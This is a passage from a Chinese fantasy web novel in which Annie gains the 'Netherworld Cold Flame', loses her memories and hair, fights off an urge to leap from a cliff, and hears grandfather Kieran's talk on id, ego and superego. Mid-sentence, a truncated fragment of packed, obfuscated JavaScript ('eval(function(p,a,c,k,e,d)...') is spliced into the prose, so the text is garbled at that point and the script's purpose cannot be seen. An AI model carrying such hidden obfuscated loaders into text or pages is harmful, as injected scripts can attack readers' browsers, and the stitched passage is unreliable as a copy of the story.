跺脚,整个世界好像只有自己踩着的那一个平面。没有温度,安妮把手在自己的眼前晃了晃,在空气里晃了晃,似乎是有一种感觉不到的温度。 她说不出来。 但可以往前走。 安妮于是迈步,没有阶梯,甚至很难感受到空间。如果自己不是立体的,安妮甚至怀疑自己被印到了一张纸上。 不知道走了多久,安妮甚至无法保证自己是不是走了一个圈。庆幸的是,停脚的前一秒,她看到了一个人影。 “喂!” 没有声音。 她真的叫出声了吗? “喂!” 安妮再次尝试,还是没有声音。 这个空间是无法说话吗? 安妮于是朝着她跑去。 但是她和这个背对自己的女孩之间永远保持着可望不可即的距离,自己无论怎么前进,她永远那么大,那么远。 安妮不累,但还是暂时停下了。在这里,她好像感觉不到体力。 这是哪儿?她是谁?我为什么会在这 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凯德阿姨穿着陈旧的长裙,照看汩汩冒烟的冬阳汤。明明这里没有温度,也没有嗅觉,但安妮好像看到了火苗燃烧的袅袅炊烟,闻到了那温暖又甜美的蔬菜味道。 平淡的生活还在继续,安妮置身其中,又好像在旁观。这一次,没有任何诱惑,也没有任何陷阱,这样平淡的叙述,就像一个毫无新意的故事。 安妮眨眨眼,无妄森林的树木逐渐收敛了枝叶、躯干,变矮、变小。错乱的树木整整齐齐,变成了金黄的麦田。 崔丝塔娜的笑声如此清脆悠扬。 她在麦子里躲躲藏藏,娇小的身影灵活跳脱。她的笑容越来越大,头上的碎屑逐渐变成一片叶子。 两片……三片……小小妮和小小木在林间穿梭,头上花环的叶子在阳光下起舞,像纷飞的蝴蝶。稚嫩的童声越来越悠远…… 变成了深沉空灵的音乐。 像清水荡涤贝壳,又如浪涛洗刷礁石。那是亚特兰蒂斯里最神秘的音乐,也是他们隐居生活里为数不多的欢乐。 这一次,没有轰轰烈烈,没有欺骗死亡。 安妮总算知道,自己为什么困了。 她还在走,无意识地走。前方的女孩背对着她,水蓝色的长发里终于没有了幻象。 忽然,一个光点出现在背后。 照亮了女孩的背影,也照亮了这个漆黑的世界。但是周围仍旧空空如也,甚至黑暗都存在于光中。 安妮转身,那光点越来越大,好像变成了一个豁口。 风暴毫无预兆地吹来,安妮双手握拳,身体下压,抵挡这狂乱的飓风。 全身好像都被吹得动弹不得,迈步在此刻显得如此艰难。头发飞舞,如同毒蛇撕咬着脸颊,连眼睛都不得不闭上。 安妮咬紧唇瓣,想一鼓作气冲出去。 那里一定是出口。 她微眯眼眸,尝试抬起右腿,但只是徒劳。她深吸一口气,摩擦着地往前腾跃两步,但立刻被乱流吹倒。 安妮死死扣住地面,长发越发肆无忌惮,飞在空中,结了冰,然后掉下来,如同带荆棘的鞭子,目标直指眼睛。安妮只是紧闭双眼,趴在地上,尝试跪着爬到出口。 但她还必须分出一只手保护眼睛。 心中似乎有一个声音,不断询问着她,拷打着她。 你真的想出去吗? 安妮毫不犹豫。 一个念头闪过,安妮忽然感觉挡住脸的左手背上没有了鞭打自己的麻绳。她似有所感,稍微往后扭头,黑色的长发已经消失在更深沉的黑暗中。 带着回忆。 前方的飓风逐渐停下,安妮狐疑地起身,那风好像没有存在过。 但心中好像少了些什么…… 安妮捂着心口,才发现之前可以垂落腰间的长发已经不见了。但失去的只有头发吗?安妮不知道。 她迈步,朝着出口走去。 虽然看不到,但她总感觉,身后那个自己好像得到了什么。 出口在她跨出的一瞬间消失,安妮不用抬头,就看到了一团和自己平齐的火苗。 它漂浮在空中,和寒冷的周围格格不入。但它也确实一点热量也没有,甚至让安妮感觉不到一点温暖。 它的内心是幽蓝色的,纯粹的蓝比眼眸还清澈。外焰又是极致的红,那么张扬恣意,好像可以融化一切。 只是一眼,就感觉到它的不凡。好像所有火焰在此刻都显得如此弱小,而世界也足以被它毁灭。但它只是尘封在冰原,带着温度沉睡。 安妮伸出手掌,想托起它。 预想中的灼热或者寒冷没有传来,就好像面前是一团空气。 “啪嚓……” 半空中红色的火花闪现,很快消失。火苗一来一回仅仅两秒。 安妮有些怔楞。 火之本源消失得如此之快,好像就没有出现过。但安妮能感觉到,那红色的就是自己苦苦寻找的。那么此刻……它是吃掉了自己的本源? 安妮看着手上的火苗。它动作迅速地冲上去,吞噬了那抹鲜艳的红。接着,它晃动两下,飞进了安妮的心脏。 “……” 这是一种很微妙的感觉。 安妮不知道怎么形容。她抬起手指,食指上的火苗只有绿豆大小,那点蓝色几乎看不见。 冷吗?不冷。热吗?也不热。 但心脏里就是有种多了什么东西的感觉。没有不适和排斥。那感觉很快消失,好像之前都是错觉。 安妮还来不及感受这细微的变化,忽然想到周围空气里冰冻思维的寒冷似乎消失了。 她茫然地走了两步,确定自己没有感觉错误。 心中的无数猜测被一一排除,只有唯一一个看起来荒谬却合理的真相。安妮的心脏剧烈跳动了两下,再次归于平静。 52. 52 “你感觉到了吗?” “极寒冰原的风消失了。” 薇彻难以置信地注视着天空,通往“幽冥寒焰”的极寒洞窟已经带着所有寒冷消失了。 极寒冰原没有了可以唤醒人记忆的风,没有了可以冰冻人意志的风,没有了可以摧毁人心灵的风。 “她成功了……不过这一次,我不需要你帮我抓鱼了。” 镜月湖上,再也没有引人堕落的阵法了。 “我没想到……我真的没想到……” 薇彻喃喃自语,不甘心是有的,但更多的是好奇。她和安妮待得时间不长,但她自认为借助乱风谷看清了她。 一个被天道降下的神罚搞得家破人亡,被光明学院的校长欺骗夺走父母遗物的人,她的战斗意志一定很强,甚至超过自己,但为什么……她会成功…… “她无欲无求吗?我不信。” “也许‘幽冥寒焰’的要求不是无欲无求。” “但起码是麻木不仁,没有欲望。你告诉我她没有欲望?” 泰瑞特瑞见薇彻有些疯狂,叹了口气。虽然不知道为什么安妮能够成功,但他确信薇彻再来个几百上千次也不会成功。 她的胜负欲就够强了。 “极寒冰原的变化外面的人肯定会意识到,咱们要开启保护了。” 身为雪域领主,他代代相传着这个责任,只是有“幽冥寒焰”在,他一直觉得自己可以偷懒到下一代的。 “唉,走吧。” 薇彻虽然之前有些恼怒,但总归自己是得不到的。 而且当初“源”都已经在大战中损坏,“幽冥寒焰”这种杀器肯定会被限制。安妮得到了也不能立即打败天道。 说不定就是因为“幽冥寒焰”也想报复天道对自己的压制? 薇彻已经猜不到了。 两人并排离去,没有注意到远处那个匆匆赶来的身影。 安妮其实还想问问怎么回事的,但现在好像没有确认的必要了。极寒洞窟也没了,薇彻也脱离阵法了,她的火系本源都被吃了…… 那现在,回去吗? 基兰爷爷的传送阵法肯定已经不受限制,但安妮忽然不想传送回去。她设想过,她不后悔放弃了另外两个本源,但最后得到火系本源一定很艰难。 却不曾想,这么简单…… 甚至,快得安妮有些惶恐。 难道这是什么幻境吗? 反正现在传送阵还有两个月的时间,去走一走好了。安妮也不知道自己该去哪里,只是循着记忆选择了来时的反方向。 但愿没错。 极寒冰原的内部已经只有单纯的寒冷,无关精神,但安妮却不由自主开始了回忆。 她还是想知道。 那个人真的是自己吗?那里又是哪里? 薇彻说过,“幽冥寒焰”要找的人,是一个充满斗志,永不言败,但同时置身世界之外,冷漠麻木的人。 安妮不知道自己第一个条件够不够格,但她绝对不是第二个。 “幽冥寒焰”也没有给自己解答的意思,甚至,安妮都感觉不到它的存在。只是心中那种恨不得沉睡不醒放弃一切的情绪越来越多,好像她真的变成了那种人。 不是的…… 可是你留恋过去,你不想离开希望之森,你渴望守护亚特兰蒂斯。 安妮茫然地摸着心脏,冰冷的,还在跳动。 面前是悬崖。 跳下去吧。 安妮后退一步,忽然被这个想法惊出一身冷汗。 她怎么会这么想? 安妮赶紧逃离,她知道自己还是走错方向了,她又回到了之前来的路,还走到了悬崖才发现。 “等等。” 安妮停下脚步。 基兰爷爷? 她幻听了吗? 不,不知道为什么,安妮总感觉基兰在这个世界是那样清晰,清晰到突兀,永远没有幻象,永远真实。 那眼前这个…… 安妮转头看到的基兰正站着,拿着法杖,笑眯眯的。 “坐下吧。” 我们聊聊。 安妮坐下了,就在悬崖边。她全然信任,毫不犹豫,因为面前的老人就是那么可靠,独立世界之外的可靠。 “基兰爷爷……” “嘘,我知道。”基兰打断安妮的话,微微一笑,“我知道你想干什么。” 我想睡觉,我想死亡,我想解脱…… 安妮含着泪,张张嘴,说不出话。 她也不知道自己为什么会这么想,明明她是那么坚强。即使在祖神村,没有任何出去的希望时,她也可以逼自己吃下粗糙的饭菜,凝神思考。 没有灵力,没有朋友,没有未来。 那为什么…… “你知道吗,一个人,有三个自我。” 三个自我?安妮突然想到了黑暗中那个静坐的女孩。 “本我,是最原始的自我,它追求的只有欲望,自私,甚至贪婪。但它就是人最本质的特征,它在我们看来,好像并不美好,但它才是最伟大的,因为它决定了我们最初的想法,并且永远恐惧死亡。 超我,是超越现实的自我,它代表一个人最美好的追求,对这个世界的希望,它给予我们行善的动力,指导我们创造更美好的世界,支撑我们无论经历多少痛苦绝望,都要完成梦想。 而自我,就是本我和超我的结合,它代表我们本身在脑子里纠结后做出的行为,代表实实在在的个体。本我超我的想法都只是精神,而自我的选择才是行为。” “那……那个女孩,是本我还是超我?” “哈哈哈哈,为什么要纠结这个呢?因为连你自己都不知道,你是偏向本我,还是偏向超我吗?” 基兰的问话如此直白,让安妮无所遁形。 “你要记住,她只是坚守本我的超我,而你是凌驾超我的本我。” 安妮有些迷糊了,她竭力想听懂基兰的话,脑子里却一片混乱。 “如果人真的可以完完全全分为这三个‘我’,那么我们也不会被誉为世界上最神奇的生物了。” 基兰感叹。 他不再说话,安妮在沉默中反思着。 她好像畏惧死亡,但又渴望死亡。她不懈奋斗想要掰倒天道,但又贪恋隐居之地的平静生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这有什么可羡慕的?” 那影子还是笑着,安妮却笑不出来了。 她终于知道,自己为什么会悲伤。 她好像……把过去弄丢了。 赤红的双眼,火红的长发,她还有什么,是过去的? 安妮摸了摸自己的脸颊,滑嫩,还是那么年轻。 湖水里,过去的回忆还在一幕幕上演,但安妮内心却好像再无波澜。她知道那是自己,仅此而已。 她把自己弄丢了。 …… 但是还要回去吗? 安妮看向背后,一望无际的冰原。 不…… 没有人知道那一晚,安妮经历了什么。她独自坐在湖边,寂寥、孤独,但好像瞬间想通了许多事情。 那个记忆里的小女孩已经长大了,变成了自己。 安妮仰望天空,凯德阿姨好像正温柔地看着自己。她好像哭了,但是笑着的。 她终于找到了本源,代价是失去什么,她不知道。 但总归,这漫漫长路,终于不是她一个人走了。 孤战,完。